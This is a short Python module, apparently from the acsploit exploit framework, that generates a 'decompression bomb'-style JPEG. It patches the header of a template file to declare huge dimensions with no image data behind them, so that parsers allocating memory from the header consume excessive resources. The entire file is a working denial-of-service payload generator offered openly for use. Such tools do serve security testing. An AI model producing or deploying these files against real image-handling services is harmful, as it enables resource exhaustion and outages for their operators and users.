from acsploit.options import Options
import struct
import os

options = Options()
options.add_option('width', 25500, 'Reported width of JPEG in pixels')
options.add_option('height', 25500, 'Reported height of JPEG in pixels')

DESCRIPTION = 'Produces a JPEG image whose header indicates a large size.' \
              '\n\n  ' \
              'The header actually indicates an incorrect size, since there is no data in the image file. ' \
              'This will cause high resource consumption in image parsers that allocate memory based off the declared ' \
              'image size in the header at the beginning of their parsing. Credit to https://bomb.codes.'

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {
	'final_newline': False,
	'format': 'binary'
}


def run(output):
	height = options['height']
	width = options['width']

	if height < 0 or width < 0:
		raise ValueError("Width and height must be positive")
	elif height > 65535 or width > 65535:
		raise ValueError("Width and height must be below 65535")

	output.output([create_bad_jpeg(width, height)])


def create_bad_jpeg(width, height):
	data = read_in_default()
	width_bytes = struct.pack(">I", width)
	height_bytes = struct.pack(">I", height)

	data[76] = width_bytes[2]
	data[77] = width_bytes[3]
	data[78] = height_bytes[2]
	data[79] = height_bytes[3]

	return data


def read_in_default():
	with open(os.path.dirname(os.path.realpath(__file__)) + "/badsize.dat", "rb") as f:
		data = f.read()
	return bytearray(data)
